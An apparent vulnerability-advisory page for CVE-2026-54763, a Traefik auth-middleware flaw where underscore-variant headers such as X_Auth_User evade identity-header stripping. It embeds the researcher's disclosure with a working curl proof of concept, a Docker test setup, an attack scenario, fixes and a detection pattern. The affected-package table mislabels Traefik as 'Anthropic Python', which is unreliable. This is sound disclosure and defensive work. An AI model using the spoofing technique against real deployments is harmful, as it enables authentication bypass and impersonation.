CVE-2026-54763: Traefik: underscore header bypass spoofs identity

GHSA-x677-9fxg-v5c5 HIGH
Published August 6, 2026
CISO Take

A gap in Traefik's BasicAuth, DigestAuth, and ForwardAuth middlewares lets an attacker inject an underscore-variant identity header (e.g. X_Auth_User) that survives Traefik's header-stripping and reaches the backend alongside — or, on unauthenticated ForwardAuth deployments, instead of — the value Traefik intended to set, spoofing user identity or authorization context. Traefik sits in front of a huge range of AI infrastructure — model-serving endpoints, agent webhook triggers, RAG APIs — with 6,417 downstream dependents, so any deployment using headerField or authResponseHeaders to pass trusted identity to an AI backend is exposed if that backend normalizes underscore and dash headers equivalently (common in WSGI/CGI, nginx with underscores_in_headers on, and many Java servlet containers). The practical urgency is currently low: EPSS sits at 0.2%, there's no public exploit or Nuclei template, it's not in CISA KEV, and CISA's SSVC decision is TRACK (routine patching, no out-of-band action). The most dangerous variant — unauthenticated ForwardAuth authResponseHeaders spoofing — requires no valid credentials at all, so treat it with more urgency than the CVSS/EPSS numbers alone suggest if your AI gateway uses ForwardAuth for identity propagation. Patch to Traefik v2.11.51 / v3.6.22 / v3.7.6 and set allowHeadersWithUnderscores: false on entry points as defense in depth.

Sources: NVD GitHub Advisory EPSS CISA KEV

What is the risk?

Officially unscored (CVSS N/A) but the researcher-proposed vectors — 7.5 for BasicAuth/DigestAuth, 9.1 for the credential-less ForwardAuth path — are credible given the confirmed PoC. Exploitability is low-complexity and requires no AI/ML-specific knowledge, just familiarity with HTTP header normalization quirks; the ForwardAuth authResponseHeaders variant requires no valid credentials at all, while the BasicAuth/DigestAuth variant still requires valid credentials to reach the middleware. EPSS (0.2%, roughly 89th percentile relative ranking), absence from CISA KEV, no public exploit code or Nuclei template, and an SSVC TRACK decision all point to low near-term mass-exploitation likelihood. Real risk concentrates in deployments where Traefik fronts an AI service that trusts propagated identity headers for authorization, audit, or per-user rate limiting — there the impact of a successful spoof (auth/authz bypass) is high even though current likelihood is low.

How does the attack unfold?

Reconnaissance
Attacker identifies an AI-serving route protected by Traefik BasicAuth/DigestAuth (headerField) or ForwardAuth (authResponseHeaders).
AML.T0006
Header injection
Attacker sends a request with an underscore-variant identity header (e.g. X_Auth_User) that survives Traefik's canonical-case stripping.
AML.T0049
Identity spoofing
The spoofed header reaches the backend AI service, which normalizes underscore/dash forms equivalently and trusts the attacker-controlled identity.
Impact
Attacker gains unauthorized access, elevated quota, or bypasses per-user access controls on the AI backend, potentially exfiltrating data or corrupting audit trails.

What systems are affected?

Package Ecosystem Vulnerable Range Patched
Anthropic Python go <= 2.11.50 2.11.51
3.9K 6.1K dependents Pushed 9d ago 90% patched ~14d to patch Full package profile →
Anthropic Python go <= 3.6.21 3.6.22
3.9K 6.1K dependents Pushed 9d ago 90% patched ~14d to patch Full package profile →

How severe is it?

CVSS 3.1
N/A
EPSS
0.2%
chance of exploitation in 30 days
Higher than 14% of all CVEs
Exploitation Status
No known exploitation
Sophistication
Moderate

What should I do?

1 step
  1. Patch Traefik to v2.11.51 (v2.x), v3.6.22, or v3.7.6 immediately — this closes the underscore-variant gap across all four affected code paths (BasicAuth, DigestAuth, ForwardAuth, ingress-nginx snippet). As defense-in-depth, explicitly set allowHeadersWithUnderscores: false on every entry point to strip all underscore-named headers before routing, regardless of patch level. Audit any backend AI service sitting behind Traefik for whether it normalizes '_' and '-' equivalently in header names (common in WSGI/CGI/PHP $_SERVER, nginx with underscores_in_headers on, and some servlet containers) — if so, harden the backend to reject or ignore ambiguous header forms rather than trusting Traefik alone. For detection, add a WAF/proxy rule or log alert for inbound requests containing underscore-variant identity headers (matching a pattern like /^X_/i) hitting protected routes.

What does CISA's SSVC say?

Decision Track
Exploitation none
Automatable Yes
Technical Impact partial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

NIST AI RMF
GOVERN 6.1 - Third-party AI system risks are identified and managed

Frequently Asked Questions

What is CVE-2026-54763?

A gap in Traefik's BasicAuth, DigestAuth, and ForwardAuth middlewares lets an attacker inject an underscore-variant identity header (e.g. X_Auth_User) that survives Traefik's header-stripping and reaches the backend alongside — or, on unauthenticated ForwardAuth deployments, instead of — the value Traefik intended to set, spoofing user identity or authorization context. Traefik sits in front of a huge range of AI infrastructure — model-serving endpoints, agent webhook triggers, RAG APIs — with 6,417 downstream dependents, so any deployment using headerField or authResponseHeaders to pass trusted identity to an AI backend is exposed if that backend normalizes underscore and dash headers equivalently (common in WSGI/CGI, nginx with underscores_in_headers on, and many Java servlet containers). The practical urgency is currently low: EPSS sits at 0.2%, there's no public exploit or Nuclei template, it's not in CISA KEV, and CISA's SSVC decision is TRACK (routine patching, no out-of-band action). The most dangerous variant — unauthenticated ForwardAuth authResponseHeaders spoofing — requires no valid credentials at all, so treat it with more urgency than the CVSS/EPSS numbers alone suggest if your AI gateway uses ForwardAuth for identity propagation. Patch to Traefik v2.11.51 / v3.6.22 / v3.7.6 and set allowHeadersWithUnderscores: false on entry points as defense in depth.

Is CVE-2026-54763 actively exploited?

No confirmed active exploitation of CVE-2026-54763 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-54763?

Patch Traefik to v2.11.51 (v2.x), v3.6.22, or v3.7.6 immediately — this closes the underscore-variant gap across all four affected code paths (BasicAuth, DigestAuth, ForwardAuth, ingress-nginx snippet). As defense-in-depth, explicitly set allowHeadersWithUnderscores: false on every entry point to strip all underscore-named headers before routing, regardless of patch level. Audit any backend AI service sitting behind Traefik for whether it normalizes '_' and '-' equivalently in header names (common in WSGI/CGI/PHP $_SERVER, nginx with underscores_in_headers on, and some servlet containers) — if so, harden the backend to reject or ignore ambiguous header forms rather than trusting Traefik alone. For detection, add a WAF/proxy rule or log alert for inbound requests containing underscore-variant identity headers (matching a pattern like /^X_/i) hitting protected routes.

What systems are affected by CVE-2026-54763?

This vulnerability affects the following AI/ML architecture patterns: model serving / inference endpoints, agent frameworks (webhook-triggered), LLM API gateways, RAG pipelines exposed via API.

What is the CVSS score for CVE-2026-54763?

No CVSS score has been assigned yet.

What is the AI security impact?

Affected AI Architectures

model serving / inference endpointsagent frameworks (webhook-triggered)LLM API gatewaysRAG pipelines exposed via API

MITRE ATLAS Techniques

AML.T0049 Exploit Public-Facing Application

Compliance Controls Affected

NIST AI RMF: GOVERN 6.1

What are the technical details?

Original Advisory

## Summary There is a high severity vulnerability in Traefik's BasicAuth, DigestAuth, and ForwardAuth middlewares. The fix for CVE-2026-33433 stripped canonical-cased spoofed identity headers (e.g. `X-Auth-User`) before writing Traefik's own value, but did not account for underscore-variant header names (e.g. `X_Auth_User`), which many backends normalize identically to the dashed form. An attacker able to reach a protected route could inject an underscore-variant header that survives Traefik's stripping and reaches the backend alongside — or, on the unauthenticated ForwardAuth `authResponseHeaders` path, instead of — the value Traefik intended to set, spoofing identity or authorization context. This is fixed by setting the new `allowHeadersWithUnderscores: false` entry point option, which strips all headers with underscores in their names before routing. ## Patches - https://github.com/traefik/traefik/releases/tag/v2.11.51 - https://github.com/traefik/traefik/releases/tag/v3.6.22 - https://github.com/traefik/traefik/releases/tag/v3.7.6 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> # Incomplete fix for CVE-2026-33433 + CVE-2026-39858 cross-cohort: `headerField` underscore-variant identity spoofing in BasicAuth / DigestAuth / ForwardAuth ## Summary The fix for CVE-2026-33433 (GHSA-qr99-7898-vr7c, "BasicAuth/DigestAuth Identity Spoofing via Non-Canonical headerField", patched in v2.11.42 / v3.6.12 / v3.7.0-ea.3) added `req.Header.Del(headerField)` before the literal-key writeback in `pkg/middlewares/auth/basic_auth.go` and `pkg/middlewares/auth/digest_auth.go`. Go's `Header.Del` calls `textproto.CanonicalMIMEHeaderKey` which canonicalizes ASCII CASE and treats `-` as a word separator — so the fix correctly strips canonical-cased attacker headers (`X-Auth-User`, `x-auth-user`, `X-AUTH-USER`, etc.). However, `textproto.CanonicalMIMEHeaderKey` does **NOT** treat `_` as a separator. Attacker-supplied **underscore-variant** headers such as `X_Auth_User` survive `Header.Del("X-Auth-User")` intact and are forwarded to the backend alongside Traefik's own writeback. Many common backends (CGI/WSGI per RFC 3875, PHP `$_SERVER`, nginx with `underscores_in_headers on`, Tomcat / Java EE servlet containers, ASGI/WSGI frameworks) normalize `_` ↔ `-` equivalently or expose both forms to application code that may read the attacker's value. This is the **direct cross-cohort sibling** of the threat model the maintainer accepted in **CVE-2026-39858** (GHSA-5m6w-wvh7-57vm, "Forwarded alias spoofing pre-auth decision bypass"), which fixed the underscore-variant of the X-Forwarded-* family via `isManagedXHeader` in `pkg/middlewares/forwardedheaders/forwarded_header.go`. The CVE-2026-39858 advisory body states verbatim: > "When the backend normalizes underscore and dash header forms equivalently, an attacker can inject spoofed trust context — such as a trusted scheme or host — through the alias headers and bypass authentication on protected routes without valid credentials." The same threat model applies to the operator-configurable `headerField` (BasicAuth, DigestAuth) and `authResponseHeaders` (ForwardAuth, ingress-nginx snippet provider), but the underscore-handling primitive (`isManagedXHeader`) was not extended to those middlewares. I verified the bypass end-to-end on `traefik:v3.6.14` (the latest patched release containing both fixes) using a default-recommended canonical `headerField: "X-Auth-User"` config and reproduced the bypass with a single `curl -H "X_Auth_User: superadmin" ...` request alongside valid BasicAuth credentials. The defect is present in four code paths at HEAD `eec68dce064f843b4317c4393aaea81b6dea31d6`: 1. `pkg/middlewares/auth/basic_auth.go:101-105` — BasicAuth `headerField` 2. `pkg/middlewares/auth/digest_auth.go:99-103` — DigestAuth `headerField` 3. `pkg/middlewares/auth/forward.go:304-310` — ForwardAuth `authResponseHeaders` per-name writeback 4. `pkg/middlewares/ingressnginx/snippet/snippet.go:480-486` — Ingress-NGINX snippet `authResponseHeaders` per-name writeback The ForwardAuth instance (#3) is particularly notable: the attacker does NOT need credentials. The `authResponseHeaders` mechanism is intended to copy identity headers from the trusted auth server only; the underscore-variant bypass lets an unauthenticated attacker pre-inject the same identity header before any auth happens. The fast proxy at `pkg/proxy/fast/proxy.go:139` explicitly calls `DisableNormalizing()` on the outgoing fasthttp request, guaranteeing that the underscore-variant header reaches the backend wire verbatim. The standard `httputil.ReverseProxy` path at `pkg/proxy/httputil/proxy.go:55` likewise copies `req.Header` keys as-is during the wire write. ## Affected versions - `traefik` v3.6.x ≤ 3.6.14, v3.7.x ≤ 3.7.0-rc.2, v2.11.x ≤ 2.11.43, and all earlier versions sharing the same auth middleware architecture. The defect is present at HEAD post-CVE-2026-33433 fix (the fix added the `Del` line but the literal-key write defect-class survives for underscore variants). ## Root cause In `pkg/middlewares/auth/basic_auth.go` at HEAD `eec68dc`: ```go if b.headerField != "" { // TODO Deprecated we should add the header with canonical key. req.Header.Del(b.headerField) req.Header[b.headerField] = []string{user} } ``` The TODO comment shows the maintainer is aware of the literal-key write problem in general (canonical-key write would solve the case-canonicalization issue more cleanly than the current `Del` + literal-write pair). The comment does not acknowledge the underscore-variant survival corollary. `pkg/middlewares/auth/digest_auth.go:99-103` and the two ForwardAuth paths follow the same `Del` + literal-write pattern. Each is independently exploitable; the underlying primitive defect is shared. The maintainer's gold-standard primitive for handling this exact threat class is `pkg/middlewares/forwardedheaders/forwarded_header.go:53-66`: ```go func isManagedXHeader(key string) bool { if len(key) == 0 || key[0] != 'X' { return false } if _, ok := XHeadersSet[key]; ok { return true } if strings.IndexByte(key, '_') < 0 { return false } canonical := http.CanonicalHeaderKey(strings.ReplaceAll(key, "_", "-")) _, ok := XHeadersSet[canonical] return ok } ``` This treats `_` ↔ `-` equivalence as a security requirement. It is reachable only via the static `XHeadersSet` membership check, which contains exclusively the X-Forwarded-* family + X-Real-Ip. Operator-configurable identity headers are out of scope of this primitive. ## Proof of concept Verified on `traefik:v3.6.14` (the patched version, post-CVE-2026-33433 and post-CVE-2026-39858) using Docker compose. Full reproducer at https://github.com/<attacker-repo>/traefik-ht1a-poc; commands below are verbatim. ### Setup ```yaml # docker-compose.yml services: traefik: image: traefik:v3.6.14 command: - --providers.file.filename=/etc/traefik/dynamic.yml - --entrypoints.web.address=:80 ports: - "8080:80" volumes: - ./traefik/dynamic.yml:/etc/traefik/dynamic.yml:ro echo: image: mendhak/http-https-echo:36 environment: - HTTP_PORT=8888 ``` ```yaml # traefik/dynamic.yml — canonical headerField, recommended operator config http: routers: protected: rule: "PathPrefix(`/`)" service: echo middlewares: [basic-auth] services: echo: loadBalancer: servers: [{url: "http://echo:8888"}] middlewares: basic-auth: basicAuth: users: - 'alice:$2b$05$FhDfYidZdDPuQjovYqcTAe22wHpQ/cILC7Tr2yAD6vLlvZh/Q45PC' # alice:secret123 headerField: "X-Auth-User" ``` `docker compose up -d`. ### Test 1 (control — CVE-2026-33433 fix works for canonical case) ```bash $ curl -s -u alice:secret123 -H "X-Auth-User: superadmin" http://localhost:8080/ { ... "x-auth-user": "alice", ... } ``` The attacker's canonical `X-Auth-User: superadmin` was correctly stripped by Traefik's `Del`; the backend receives only Traefik's authenticated-user writeback `alice`. ### Test 2 (HT-1A bypass — underscore variant survives) ```bash $ curl -s -u alice:secret123 -H "X_Auth_User: superadmin" http://localhost:8080/ { ... "x-auth-user": "alice", "x_auth_user": "superadmin", ... } ``` The underscore-variant `x_auth_user: superadmin` reached the backend intact, despite the `Del("X-Auth-User")` having executed. The backend sees both forms. ### Test 3 (double-send — same result) ```bash $ curl -s -u alice:secret123 \ -H "X-Auth-User: superadmin" \ -H "X_Auth_User: superadmin" \ http://localhost:8080/ { ... "x-auth-user": "alice", # Traefik's writeback "x_auth_user": "superadmin", # attacker's underscore — survived Del ... } ``` The canonical attacker header is stripped (Test 1 behavior). The underscore variant is forwarded. ### Backend impact The PoC's echo backend (`mendhak/http-https-echo`, Node.js) preserves both forms with the lowercase normalization Node.js applies. Application code reading `req.headers["x-auth-user"]` sees `alice`. Application code reading `req.headers["x_auth_user"]` sees `superadmin`. For backends that normalize `_` ↔ `-` equivalently — meaning the attacker's value wins: - **CGI / WSGI / PHP `$_SERVER`** (RFC 3875 §4.1.18 — header name uppercased with `-` replaced by `_`): both `X-Auth-User` and `X_Auth_User` map to `HTTP_X_AUTH_USER`. The last-set wins per the WSGI server's iteration order; many servers (gunicorn, uwsgi without `--disable-logging`, waitress) preserve both. Note: Apache + mod_php with default `HttpProtocolOptions Strict` filters underscore-headers from `$_SERVER` (this PoC's PHP backend test demonstrated the filter); Apache + mod_python, Apache + mod_wsgi without the strict mode, nginx + uwsgi, nginx + gunicorn, nginx + FastCGI, and standalone WSGI servers do NOT filter. - **nginx with `underscores_in_headers on`** (https://nginx.org/en/docs/http/ngx_http_core_module.html#underscores_in_headers): preserves underscore-variant headers and forwards them to upstream as separate values. Upstream application logic that does case-insensitive + underscore-insensitive matching (common pattern in security-sensitive code) merges them. - **Tomcat / Java EE servlet containers**: `HttpServletRequest.getHeader(name)` is case-insensitive; underscore handling is container-specific. Many normalize. - **Application middleware** (WAFs, log aggregators, security gateways, identity-aware proxies) that normalize header names before applying security policy: both forms collapse to the same authorization decision input. ## Severity I propose **HIGH CVSS 7.5** for the BasicAuth / DigestAuth case and **CRITICAL CVSS 9.1** for the ForwardAuth `authResponseHeaders` case (the latter requires no credentials). **CVSS 3.1 vector (BasicAuth / DigestAuth)**: `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N=7.5` — one step above CVE-2026-33433 (which the maintainer scored MEDIUM 5.1 because it required misconfigured non-canonical `headerField`). HT-1A works against the canonical / recommended `headerField` configuration, broader operational scope. **CVSS 3.1 vector (ForwardAuth `authResponseHeaders`)**: `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N=9.1` — parallel to CVE-2026-39858 (HIGH 7.5) but achieves spoofing without credentials because the `authResponseHeaders` mechanism trusts headers exclusively from the auth server and the underscore variant defeats that trust boundary. CWEs: - CWE-290 (Authentication Bypass by Spoofing) - CWE-178 (Improper Handling of Case Sensitivity) — analogous to CVE-2026-29054 - CWE-345 (Insufficient Verification of Data Authenticity) — same as CVE-2026-35051 ## Suggested fix Two equivalent approaches: **1. Extend `Header.Del` to handle underscore variants** at the four call sites. Replace: ```go req.Header.Del(b.headerField) req.Header[b.headerField] = []string{user} ``` with: ```go canonical := http.CanonicalHeaderKey(b.headerField) // Strip canonical AND underscore-variant of the canonical key. for key := range req.Header { if key == canonical || strings.EqualFold(strings.ReplaceAll(key, "_", "-"), canonical) { delete(req.Header, key) } } req.Header.Set(canonical, user) // canonical-key write ``` This pairs the headerField primitive with the same `_` ↔ `-` equivalence that `isManagedXHeader` enforces for X-Forwarded-*. **2. Generalize the existing `isManagedXHeader` primitive** into a `stripHeaderAndVariants(headers http.Header, name string)` helper in the `forwardedheaders` package and call it from `basic_auth.go`, `digest_auth.go`, `forward.go`, and `snippet.go`. Reusing the existing gold-standard primitive is the cleanest fix and minimizes future drift. Either approach should also resolve the `// TODO Deprecated we should add the header with canonical key.` debt at `basic_auth.go:102` and `digest_auth.go:100` by writing to the canonical key (`Header.Set(canonical, user)`) instead of the literal `b.headerField`. ## Why this is a Pattern-8 sibling, not a new CVE class The combination of: 1. CVE-2026-33433's fix scope (case-canonicalization for `headerField`) 2. CVE-2026-39858's fix scope (underscore-variant for `XHeadersSet`) 3. The defective primitive remaining at HEAD (the `Del` + literal-write pair at four call sites) establishes that the maintainer accepts the threat model and has architectural primitives to fix it — but did not cross the two cohorts. The "primitive depth-audit" of the CVE-2026-33433 fix (reading the actual `Header.Del` implementation against the documented threat model and Go's canonicalization semantics) reveals the gap. I confirmed there is no public PoC mentioning underscore-variant siblings of CVE-2026-33433 (WebSearched 2026-05-23). The fix-flurry from the April 2026 security release batch addressed the X-Forwarded family but not the headerField family. ## Credit Matteo Panzeri (GitHub `matte1782`). CVE credit requested. ## AI-assistance disclosure Static analysis, hypothesis writing, and hostile-review confirmation were assisted by Anthropic Claude (Opus 4.7). Live PoC reproduction, code-citation verification, and submission decision were made by the human author. </details> ---

Exploitation Scenario

An organization runs an internal LLM inference gateway behind Traefik using ForwardAuth to centralize authentication: Traefik calls an auth server, then copies the auth server's response headers (e.g. X-Auth-User) onto the request before forwarding to the AI backend, which trusts that header to select the caller's API quota and log the requester. An attacker who can reach the route — without any valid credentials — sends a request containing X_Auth_User: admin-service-account. Because Traefik's stripping logic only deletes the canonical-cased X-Auth-User key, the underscore variant survives untouched and arrives at the backend instead of (or alongside) Traefik's own value. If the backend normalizes underscores and dashes equivalently, it treats the request as coming from the spoofed admin-service-account identity, granting elevated API rate limits, bypassing per-user access controls on sensitive models, or polluting the audit trail used for compliance evidence.

Weaknesses (CWE)

CWE-178 — Improper Handling of Case Sensitivity: The product does not properly account for differences in case sensitivity when accessing or determining the properties of a resource, leading to inconsistent results.

  • [Architecture and Design] Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.
  • [Implementation] Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylis

Source: MITRE CWE corpus.

Timeline

Published
August 6, 2026
Last Modified
August 6, 2026
First Seen
August 6, 2026

Related Vulnerabilities